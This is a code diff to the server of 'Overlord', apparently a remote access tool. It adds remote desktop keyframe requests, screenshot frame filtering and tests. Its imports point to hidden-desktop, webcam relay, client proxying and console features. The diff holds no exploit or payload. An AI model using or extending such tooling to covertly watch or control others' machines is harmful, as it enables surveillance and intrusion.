keyframe fixes and manually allow users to refresh keyframes if shit gets all fucked up

Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts

@@ -17,13 +17,14 @@ import { decodeMessage, encodeMessage, type WireMessage, type Hello, type Ping }
 import * as sessionManager from "../../sessions/sessionManager";
 import type { SocketData } from "../../sessions/types";
 import type { ClientInfo } from "../../types";
-import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong, handleScreenshotThumbnailResult } from "../../wsHandlers";
+import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong, handleScreenshotThumbnailResult, shouldRelayFrameToViewers } from "../../wsHandlers";
 import { queueClientDbUpdate, scheduleQueuedClientDbFlush } from "../../client-db-sync";
 import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
 import { stopAllProxiesForClient } from "../socks5-proxy-manager";
 import { verifyBuildToken, isBuildBanned } from "../build-signing";
 import { clearThumbnail } from "../../thumbnails";
 import { stopRemoteDesktopRecording } from "../rd-recording";
+import { requestRemoteDesktopKeyframeAfterScreenshot } from "../ws-console-rd-backstage";
 import {
   isAuthenticatedViewerRole,
   registerViewerSocket,
@@ -795,13 +796,14 @@ export async function handleWebSocketMessage(
             }
           }
         }
-        if (handleFrame(client, payload)) {
+        if (handleFrame(client, payload, shouldRelayFrameToViewers(payload))) {
           try { ws.send(encodeMessage({ type: "frame_ack" })); } catch {}
         }
         break;
       case "screenshot_result":
         handleScreenshotThumbnailResult(client, payload);
         deps.handleNotificationScreenshotResult(client.id, payload);
+        requestRemoteDesktopKeyframeAfterScreenshot(client.id);
         break;
       case "console_output":
         deps.handleConsoleOutput(client.id, payload);

Overlord-Server/src/server/ws-console-rd-backstage.test.ts

@@ -14,6 +14,7 @@ import {
   handleDesktopEncoderCapabilities,
   backstageStreamingState,
   rdStreamingState,
+  requestRemoteDesktopKeyframeAfterScreenshot,
 } from "./ws-console-rd-backstage";
 
 type MockWs = {
@@ -118,6 +119,72 @@ describe("remote desktop viewer control", () => {
     expect(rdStreamingState.get(clientId)?.isStreaming).toBe(false);
   });
 
+  test("forwards keyframe requests only while the desktop stream is active", () => {
+    const clientId = `rd-keyframe-${Date.now().toString(36)}`;
+    const { agentWs } = createClient(clientId);
+    const viewer = createMockWs({ clientId });
+    const viewerSocket = viewer as unknown as Parameters<typeof handleRemoteDesktopViewerMessage>[0];
+
+    handleRemoteDesktopViewerOpen(viewerSocket);
+    handleRemoteDesktopViewerMessage(viewerSocket, JSON.stringify({
+      type: "desktop_request_keyframe",
+      reason: "manual_viewer",
+    }));
+
+    expect(agentCommands(agentWs).filter((msg) => msg.commandType === "desktop_request_keyframe")).toHaveLength(0);
+
+    handleRemoteDesktopViewerMessage(viewerSocket, JSON.stringify({ type: "desktop_start" }));
+    handleRemoteDesktopViewerMessage(viewerSocket, JSON.stringify({
+      type: "desktop_request_keyframe",
+      reason: "manual_viewer",
+    }));
+
+    const keyframeCommands = agentCommands(agentWs)
+      .filter((msg) => msg.commandType === "desktop_request_keyframe");
+    expect(keyframeCommands).toHaveLength(1);
+    expect(keyframeCommands[0]?.payload).toEqual({ reason: "manual_viewer" });
+
+    handleRemoteDesktopViewerMessage(viewerSocket, JSON.stringify({
+      type: "desktop_request_keyframe",
+      reason: "viewer_frame_gap",
+    }));
+    const automaticCommand = agentCommands(agentWs)
+      .filter((msg) => msg.commandType === "desktop_request_keyframe")
+      .at(-1);
+    expect(automaticCommand?.payload).toEqual({ reason: "viewer_frame_gap" });
+  });
+
+  test("requests HEVC recovery after a screenshot only while streaming", () => {
+    const clientId = `rd-screenshot-keyframe-${Date.now().toString(36)}`;
+    const { agentWs } = createClient(clientId);
+    const viewer = createMockWs({ clientId });
+    const viewerSocket = viewer as unknown as Parameters<typeof handleRemoteDesktopViewerMessage>[0];
+
+    handleRemoteDesktopViewerOpen(viewerSocket);
+    expect(requestRemoteDesktopKeyframeAfterScreenshot(clientId)).toBe(false);
+
+    handleRemoteDesktopViewerMessage(viewerSocket, JSON.stringify({ type: "desktop_start" }));
+    const state = rdStreamingState.get(clientId);
+    expect(state).toBeDefined();
+    if (!state) return;
+    state.codec = "hevc";
+    agentWs.sent.length = 0;
+
+    expect(requestRemoteDesktopKeyframeAfterScreenshot(clientId)).toBe(true);
+    expect(agentCommands(agentWs)
+      .filter((msg) => msg.commandType === "desktop_request_keyframe"))
+      .toEqual([
+        expect.objectContaining({
+          payload: { reason: "post_screenshot_hevc_recovery" },
+        }),
+      ]);
+
+    state.codec = "h264";
+    agentWs.sent.length = 0;
+    expect(requestRemoteDesktopKeyframeAfterScreenshot(clientId)).toBe(false);
+    expect(agentWs.sent).toHaveLength(0);
+  });
+
   test("does not forward desktop_start when a macOS client is missing required permissions", () => {
     const clientId = `rd-mac-perms-${Date.now().toString(36)}`;
     const { info, agentWs } = createClient(clientId);

Overlord-Server/src/server/ws-console-rd-backstage.ts

@@ -178,6 +178,11 @@ function broadcastFrameToViewers(
 const rdSendStats = { lastLog: 0, frames: 0, sendMs: 0, bytes: 0 };
 const rdDebugFrameLogAt = new Map<string, number>();
 const rdCanvasFrameAckPending = new Map<string, string>();
+const AUTOMATIC_DESKTOP_KEYFRAME_REASONS: Record<string, true> = {
+  viewer_frame_gap: true,
+  h264_decoder_keyframe_required: true,
+  hevc_decoder_keyframe_required: true,
+};
 export const rdStreamingState = new Map<string, {
   isStreaming: boolean;
   display: number;
@@ -360,6 +365,18 @@ export function notifyRemoteDesktopStatus(clientId: string, status: string, reas
   }
 }
 
+export function requestRemoteDesktopKeyframeAfterScreenshot(clientId: string): boolean {
+  const state = rdStreamingState.get(clientId);
+  if (!state?.isStreaming || String(state.codec || "").toLowerCase() !== "hevc") {
+    return false;
+  }
+  return sendDesktopCommand(
+    clientManager.getClient(clientId),
+    "desktop_request_keyframe",
+    { reason: "post_screenshot_hevc_recovery" },
+  );
+}
+
 export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
   const payload = decodeViewerPayload(raw);
   if (!payload) return;
@@ -489,6 +506,15 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
       safeSendViewer(ws, { type: "status", status: "stopped" });
       break;
     }
+    case "desktop_request_keyframe": {
+      if (state.isStreaming) {
+        const requestedReason = String(payload.reason || "");
+        sendDesktopCommand(target, "desktop_request_keyframe", {
+          reason: AUTOMATIC_DESKTOP_KEYFRAME_REASONS[requestedReason] ? requestedReason : "manual_viewer",
+        });
+      }
+      break;
+    }
     case "desktop_record_start": {
       if (!state.isStreaming) {
         safeSendViewer(ws, {

Overlord-Server/src/wsHandlers.test.ts

@@ -1,7 +1,8 @@
 import { describe, expect, test } from "bun:test";
+import type { ClientInfo } from "./types";
 import { decodeMessage } from "./protocol";
 import { metrics } from "./metrics";
-import { handlePing, handlePong, sendPingRequest } from "./wsHandlers";
+import { handleFrame, handlePing, handlePong, sendPingRequest, shouldRelayFrameToViewers } from "./wsHandlers";
 
 type MockWs = { sent: Uint8Array[]; send: (msg: Uint8Array) => void };
 
@@ -178,3 +179,40 @@ describe("wsHandlers ping/pong", () => {
     expect(snapshot.ping.count).toBe(0);
   });
 });
+
+describe("wsHandlers frame routing", () => {
+  test("keeps screenshot frames out of remote desktop viewers", () => {
+    const broadcasts: unknown[] = [];
+    const runtime = globalThis as unknown as {
+      __rdBroadcast?: (clientId: string, bytes: Uint8Array, header: unknown) => boolean;
+    };
+    runtime.__rdBroadcast = (clientId, bytes, header) => {
+      broadcasts.push({ clientId, bytes, header });
+      return true;
+    };
+    const client = {
+      id: "screenshot-client",
+      lastSeen: Date.now(),
+      online: true,
+      isAdmin: false,
+    } as unknown as ClientInfo;
+    const screenshotFrame = {
+      type: "frame",
+      header: { fps: 0, format: "h264", width: 1920, height: 1080 },
+      data: new Uint8Array([1, 2, 3]),
+    };
+
+    try {
+      expect(shouldRelayFrameToViewers(screenshotFrame)).toBe(false);
+      handleFrame(client, screenshotFrame, shouldRelayFrameToViewers(screenshotFrame));
+      expect(broadcasts).toHaveLength(0);
+
+      const liveFrame = { ...screenshotFrame, header: { ...screenshotFrame.header, fps: 60 } };
+      expect(shouldRelayFrameToViewers(liveFrame)).toBe(true);
+      handleFrame(client, liveFrame, shouldRelayFrameToViewers(liveFrame));
+      expect(broadcasts).toHaveLength(1);
+    } finally {
+      delete runtime.__rdBroadcast;
+    }
+  });
+});

Overlord-Server/src/wsHandlers.ts

@@ -273,30 +273,49 @@ export function handleScreenshotThumbnailResult(info: ClientInfo, payload: any):
   return true;
 }
 
-export function handleFrame(info: ClientInfo, payload: any): boolean {
-  const bytes = payload.data as unknown as Uint8Array;
-  const header = (payload as any).header;
+export function shouldRelayFrameToViewers(payload: unknown): boolean {
+  if (!payload || typeof payload !== "object" || !("header" in payload)) return false;
+  const header = payload.header;
+  if (!header || typeof header !== "object" || !("fps" in header)) return false;
+  return Number(header.fps) > 0;
+}
+
+export function handleFrame(info: ClientInfo, payload: unknown, relayToViewers = true): boolean {
+  const frame = payload && typeof payload === "object"
+    ? payload as Record<string, unknown>
+    : {};
+  const rawData = frame.data;
+  const bytes = rawData instanceof Uint8Array
+    ? rawData
+    : rawData instanceof ArrayBuffer
+      ? new Uint8Array(rawData)
+      : new Uint8Array();
+  const header = frame.header && typeof frame.header === "object"
+    ? frame.header as Record<string, unknown>
+    : {};
   const allowedFormats = ["jpeg", "jpg", "webp"];
-  const fmt = String(header?.format || "").toLowerCase();
+  const fmt = String(header.format || "").toLowerCase();
   const safeFormat = allowedFormats.includes(fmt) ? fmt : "";
 
   metrics.recordBytesReceived(bytes.length);
 
   let handledByViewerRelay = false;
-  try {
-    const globalAny: any = globalThis as any;
-    if (header?.webcam) {
-      if (globalAny.__webcamBroadcast) {
-        handledByViewerRelay = globalAny.__webcamBroadcast(info.id, bytes, header);
+  if (relayToViewers) {
+    try {
+      const runtime = globalThis as unknown as {
+        __webcamBroadcast?: (clientId: string, data: Uint8Array, frameHeader: Record<string, unknown>) => boolean;
+        __backstageBroadcast?: (clientId: string, data: Uint8Array, frameHeader: Record<string, unknown>) => boolean;
+        __rdBroadcast?: (clientId: string, data: Uint8Array, frameHeader: Record<string, unknown>) => boolean;
+      };
+      if (header.webcam) {
+        handledByViewerRelay = runtime.__webcamBroadcast?.(info.id, bytes, header) ?? false;
+      } else if (header.backstage) {
+        handledByViewerRelay = runtime.__backstageBroadcast?.(info.id, bytes, header) ?? false;
+      } else {
+        handledByViewerRelay = runtime.__rdBroadcast?.(info.id, bytes, header) ?? false;
       }
-    } else if (header?.backstage) {
-      if (globalAny.__backstageBroadcast) {
-        handledByViewerRelay = globalAny.__backstageBroadcast(info.id, bytes, header);
-      }
-    } else if (globalAny.__rdBroadcast) {
-      handledByViewerRelay = globalAny.__rdBroadcast(info.id, bytes, header);
-    }
-  } catch {}
+    } catch {}
+  }
 
   if (safeFormat) {
     const now = Date.now();